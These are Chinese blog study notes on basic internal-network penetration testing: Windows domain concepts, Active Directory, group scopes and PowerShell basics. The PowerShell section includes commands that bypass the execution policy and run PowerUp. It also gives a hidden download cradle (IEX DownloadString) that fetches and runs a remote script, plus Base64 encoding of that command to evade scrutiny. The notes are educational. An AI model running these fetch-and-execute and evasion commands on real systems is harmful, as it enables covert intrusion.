第一章:内网渗透基础

发布于 2022-02-18  413 次阅读


写在前面

  本篇笔记的内容主体是《内网安全攻防渗透测试实战指南》的第一篇的相关内容,主要还是内网渗透中的基础概念,学起来也相当枯燥,有一些理解起来还是有些难度,这里也写一写自己对于书中一些内容的理解。

域环境基础

一些概念

工作组

  将不同的计算机按功能(或其他标准)分别列入不同的工作组。在网络中计算机加入的工作组如果不存在,将会新建一个工作组。工作组中的个体可以相互访问、共享资源。工作组中没有几种管理作用,且计算机都是对等的。

什么是域

  ,Domain,是一个有安全边界的计算机集合,安全边界是,在两个域中,一个域中的用户无法访问另一个域中的资源。相对组来说,域的安全管理控制机制更加严格,用户必须以合法的身份登录,且对域内资源拥有什么样的权限也取决于用户在域内的身份。
  域控制器,Domain Controler,DC,域中一台类似管理服务器的计算机。域控制器负责所有连入的计算机和用户的验证工作。域控制器中存在由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。如果用户不通过域控制器对账号、密码等信息的合法验证将无法登录域中并使用域中服务器的资源。同时域控制器是整个域的通信枢纽。

几种域环境

  1. 单域

  仅有一个域即可满足需求所构成的域环境,在一个域内,一般至少有两台DC,主备关系。活动目录的数据库存储在DC中,如果没有备份DC,那么主DC瘫痪后,域内的用户就不能正常登录域内。

  1. 父域和子域

  在一个域内再次划分一个或多个小于第一个域的域环境,则第一个域可以称为父域,其他各部分域环境称为该域的子域。


  PS:在同一个域内,信息交互的条目较多,且不会进行压缩;在不同的域之间,信息交互的条目相对较少,且可以压缩。
  PPS:每个域都有自己的安全策略。


  1. 域树

  多个域通过建立信任关系组成的集合。一个域管理员只能管理本域,不能访问或管理其他域,如果两个域之间需要访问,则需要建立信任关系—Trust Relation。信任关系是连接不同域的桥梁。
  域树内的父域和子域,不但可以按照需要相互管理,还可以跨网络分配文件和打印机等设备及资源,从而在不同的域之间实现网络资源的共享与管理、通信及数据传输。

  1. 域森林

  多个域树通过建立信任关系组合成的集合。

  1. 域名服务器

  Domain Name Server,DNS,指用于实现域名和与之相对应的IP地址转换的服务器。
  域树中的域名和DNS域名非常相似,实际上,因为域中的计算机是使用DNS来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS域的名字。
  内网渗透测试中,大都是通过寻找DNS服务器来确定域控制器的位置,这是因为DNS服务器和域控制器通常配置在同一台机器上。

活动目录

  Active Directory,AD,是指域环境中提供目录服务的组件。用于存储有关网络对象(用户、组、计算机、共享资源、打印机和联系人等)的信息。目录服务是指帮助用户快速、准确地从目录中找到其他所需要的信息的服务。活动目录实现了目录服务,为企业提供了网络环境的集中式管理机制。
  活动目录主要提供以下功能:

  • 账号集中管理:所有账号均存储在服务器中,以便执行命令和重置密码等。
  • 软件集中管理:统一推送软件、安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择需要安装的软件。
  • 环境集中管理:统一客户端桌面、IE、TCP/IP协议等设置。
  • 增强安全性:统一部署杀毒软件和病毒扫描任务、集中管理用户的计算机权限、统一制定用户密码策略等。可以监控网络,对资料进行统一管理。
  • 更可靠,更短的宕机时间:例如,利用活动目录控制用户访问权限,利用集群、负载均衡等技术对文件服务器进行容灾设置。网络更可靠,宕机时间更短。

域控制器和活动目录的区别

  在较大规模的网络中,需要把网络中的众多对象分门别类、井然有序地放在一个大仓库中,并将检索信息整理好,以便查找、管理和使用这些对象(资源),这个拥有层次结构的数据库就是活动目录数据库,简称AD库。而AD库则存储在DC服务器中。

安全域

  这里借用一点防火墙设备上的概念来进行阐述。

  • Trust区域:信任区域,该区域内网络的受信任程度高,通常用来定义内部用户所在的网络。
  • DMZ区域:非军事化管理区域,也有一说称之为隔离区,该区域内网络的受信任程度中等,通常用来定义对外提供服务的服务器所在的网络。
  • Untrust区域:该区域代表的是不受信任的网络,通常用来定义Internet等不安全的网络。

域中计算机的分类

  1. 域控制器

  域控制器用于管理所有的网络访问,包括登录服务器、访问共享目录和资源。域控制器中存储了域内所有的账户和策略信息,包括安全策略、用户身份验证信息和账户信息。
  在网络中可以存在多台DC,以分担不同的操作,可以一起进行工作,自动备份用户账户和活动目录数据。多台DC的存在可以提高网络的安全性和稳定性。

  1. 成员服务器

  安装了服务器操作系统并加入了域、但没有安装活动目录的计算机,负责提供域内网络资源。

  1. 客户机

  域中计算机可以是安装了其他操作系统的计算机,用户利用这些计算机和域中的账户就可以登录域。

  1. 独立服务器

  既不加入域,也不安装活动目录的服务器。独立服务器和域没有关系。独立服务器可以创建工作组、与网络中的其他计算机共享资源,但不能使用活动目录提供的任何服务。

  域控制器用于存放活动目录数据库,是域中必须要有的,其他三种角色则不是必须要有的,域中的各服务器的角色是可以改变的。

域内权限

  1. 域本地组

  多域用户访问单域资源(访问同一个域),可以从任何域添加该用户账号或通用组、全局组,但只能在其所在域中指派对域中资源的访问权限。域本地组不能嵌套在其他组中。 域本地组主要用于授予本域内资源的访问权限。
  简单举个栗子:从外面来了一个人(任意用户)到自己家中,域本地组权限则限制这个人在家中可以做些什么,出去家门后该权限限制失效。

  1. 全局组

  单域用户访问多域资源(必须是同一个域中的用户),只能在创建该全局组的域中添加用户和全局组。可以在域森林的任何域内指派权限。可以嵌套在其他组中。
  可以将某个全局组添加到同一个域的另一个全局组中,或其他域的通用组和域本地组,但不能添加到不同域的全局组中,全局组只能在创建它的域中添加用户和组。一般不用来进行权限管理。
  全局组和域本地组的关系,与域用户账号和本地账号的关系相似。

  1. 通用组

  通用组的成员来自域森林中任意域的用户账号、全局组和其他通用组,可以在该域森林的任何域中指派权限,适合在域森林内的跨域访问中使用。
  通用组的成员并不保存在各自的域控制器中,而是保存在全局编录(GC)中的,任何变化都会导致全林复制。


简单记忆:域本地组来自于全林,作用于本域;全局组来自于本域,作用于全林;通用组来自全林,作用于全林。


  1. A-G-DL-P策略

  A-G-DL-P策略是指将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。

  • A 表示用户账号,Account
  • G 表示全局组,Global Group
  • U 表示通用组,Universal Group
  • DL 表示域本地组,Domain Local Group
  • P 表示资源权限,Permission - 许可

几个比较重要的域本地权限

  • 管理员组,Administrators
  • 远程登录组,Remote Desktop Users
  • 打印机操作员组,Print Operators
  • 账号操作员组,Account Operators
  • 服务器操作员组,Server Operators
  • 备份操作员组,Backup Operators
  • 域管理员组,Domain Admins,该组会被同时添加到自己所在域的Administrators组中
  • 企业系统管理员组,Enterprise Admins,域森林根域中的一个组,该组在域森林中每个域内都是Administrators组的成员
  • 架构管理员组,Schema Admins,域森林根域中的一个组,可以修改活动目录和域森林的模式
  • 域用户组,Domain Users

一些工具

  这里我就不详细展开了,基本上都是那些东西,无外乎虚拟机、Kali-Linux、常用渗透工具等等。

PowerShell基础

什么是Windows PowerShell

  一种命令行外壳程序和脚本环境,可以看做是命令行提示符cmd.exe的扩展,需要.NET环境的支持
  几个特点:

  • 在Windows 7以上版本的操作系统中是默认安装的

  • 脚本可以在内存中运行,不需要写入磁盘

  • 几乎不会触发杀毒软件


这里插一嘴,书是2020年第一版,在2020年我对网安接触的还不多,当时的杀毒软件情况我并不太了解,去年的一些情况看来,已经有多款杀毒软件能够监控PowerShell命令的执行情况,恶意命令杀毒软件会进行报毒)


  • 可以远程执行
  • 目前很多工具都是基于PowerShell开发的
  • 使用Windows脚本的执行变得更容易
  • cmd.exe的运行通常会被阻止,但PowerShell的运行通常不会被阻止
  • 可用于管理活动目录

一些概念

.ps1文件

  简单的文本文件,扩展名为.ps1。文件中包含一系列的PowerShell命令,每个命令显示为独立的一行。

执行策略

  为了安全性考虑,PowerShell提供了一个执行策略,默认为不执行。如果需要执行可以根据下面的操作进行修改执行策略

# 查询
Get-ExecutionPolicy

# Restricted :脚本不能运行(默认运行)
# RemoteSigned :在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书的除外)
# AllSigned :仅当脚本有由受信任的发布者签名时才能执行
# UNrestricted :允许所有脚本运行

# 设置执行策略
Set-ExecutionPolicy <policy name>

运行脚本

  可以参考Linux的运行命令进行理解,输入完整的绝对路径和文件命令即可执行,或.\[file name],注意是反斜杠。

管道

  管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用"|"连接

# 一个栗子
get-process p* | stop-process

# 获取所有以字符"p"开头的正在运行的程序并停止这些程序的运行

PowerShell常用命令

一些概念

  在PowerShell下,类似于cmd命令的命令可以称之为cmdlet命令,命令规范采用"动词-名词"的规范,同时部分命令兼容Windows Command和Linux Shell的命令别名,另外PowerShell命令不区分大小写。

# 一些基础命令

# 新建目录
New-Item [directory name] -ItemType Directory

# 新建文件
New-Item [file name] -ItemType File

# 删除目录
Remove-Item [item name]

# 显示文本内容
Get-Content [file name]

# 设置文本内容
Set-Content [file name] -Value [text content]

# 追加内容
Add-Content [file name] -Value [text content]

# 清除内容
Clear-Content [item name]

# 题外话:书中这部分命令可能存在一些错误,因为我照搬书上的命令去执行会报错,我猜想可能是因为写书的时候使用的PowerShell版本(4.*或其他非5.*版本)和我目前使用的版本(5.*)并不一致导致的,具体原因我并没有深究,但是我上面写的命令,将对应内容补充完整,执行起来应该是没有问题的。

  一些PowerShell命令其他需求的同学,可以参考这篇文章进行学习一下——Windows PowerShell基本语法及常用命令
  这里说一点其他的,单词"Item",译为项目,可以理解成一个对象的意思。所以上面的新建内容我这里理解为新建一个对象,对象类型为目录Directory或文件file或其他类型。

常用命令

  这里开始的实机测试都是对脚本进行执行,这个过程中我发现的一个比较算是有意思的点吧。Windows系统在你将文本文件后缀名更改为.ps1后并需要对文件内容进行更改的时候会打开一个PowerShell的IDE软件,我不清楚其他的个人PC上会不会出现这种情况,一边是默认不能执行PowerShell脚本的执行策略,一边又自带有PowerShell脚本编译IDE软件,那我到底是能用PowerShell脚本还是不能用呢?emmmmm这是一个很值得思考的问题……

  1. 绕过本地权限并执行
# 绕过安全策略本地执行脚本
powershell -ExecutionPolicy Bypass -Pile test.ps1  

powershell -exec bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}"

命令解析:

  • import-module:语法—>import-module [PSModulePath],引入PowerShell模块,Windows PowerShell 在变量中指定的目录中搜索指定的模块 PSModulePath,可以理解成Python或Java的import

  这里闹了个乌龙,因为书上用了PowerUp.ps1这个脚本,我以为这只是一个普普通通的脚本,就自己写了一个测试用的test.ps1,没想到因为这个闹出了一点乌龙。因为自己写的这个.ps1导致没能准确理解import-module和后续的invoke-allchecks。
  这行命令准确来讲可以这样理解——在服务器本地执行,让PowerShell绕过本地策略执行一条命令powershell -exec bypass -Command,而所执行的命令是& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks},命令的含义是引入模块C:\PowerUp.ps1,引入后执行命令Invoke-Allchecks,该命令为PowerUp.ps1中的一条命令。
  PowerUp.ps1文件可从这里下载:PowerSploit

  1. 从网站服务器下载脚本,绕过本地权限并隐藏执行
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("xxx.ps1");[Parameeters]

书中的一些参数说明:

参数 含义
-ExecutionPolicy Bypass 绕过执行安全策略
-WindowStyle Hidden 隐藏窗口
-NonInteractive(-NonI) 非交互模式
-NoProfile(-NoP) PowerShell控制台不加载当前用户的配置文件
-noexit 执行后不退出shell,这个参数在使用键盘记录等脚本时比较重要
-NoLogo 启动不显示版权标志的PowerShell
  1. 使用Base64对PowerShell命令进行编码

  这一步相较之前的仅仅是多了一步将要执行的cmdlet进行Base64编码的操作。

# 假如要执行下面的命令
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("xxx.ps1");[Parameeters]

# 将该命令写入TXT文本文件中使用脚本ps_encoder.py或其他方法进行Base64编码
# 将生成的Base64字符串用下列命令进行执行
powershell -Nop -NonI -W Hidden -Exec Bypass -enc [Base64_code]
  1. 运行32位和64位PowerShell

  这里只需要注意x64为程序的位置,路径位置为:%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe注意版本,将路径加在cmdlet之前即可

构建内网环境

  这个不写了,适合自己用就好。

写在最后

  本章的内容主要以域的基础概念、PowerShell的使用基础为主,大量的基础概念,实操较少。以前没有接触过域环境、内网、PowerShell等的同学初步学起来可能会有一点吃力,除此之外,学有余力的同学可以自己学习一下书中内容的一些衍生内容,这本书整体来说算是内网的一个入门。
  这章节就到这里了,以上。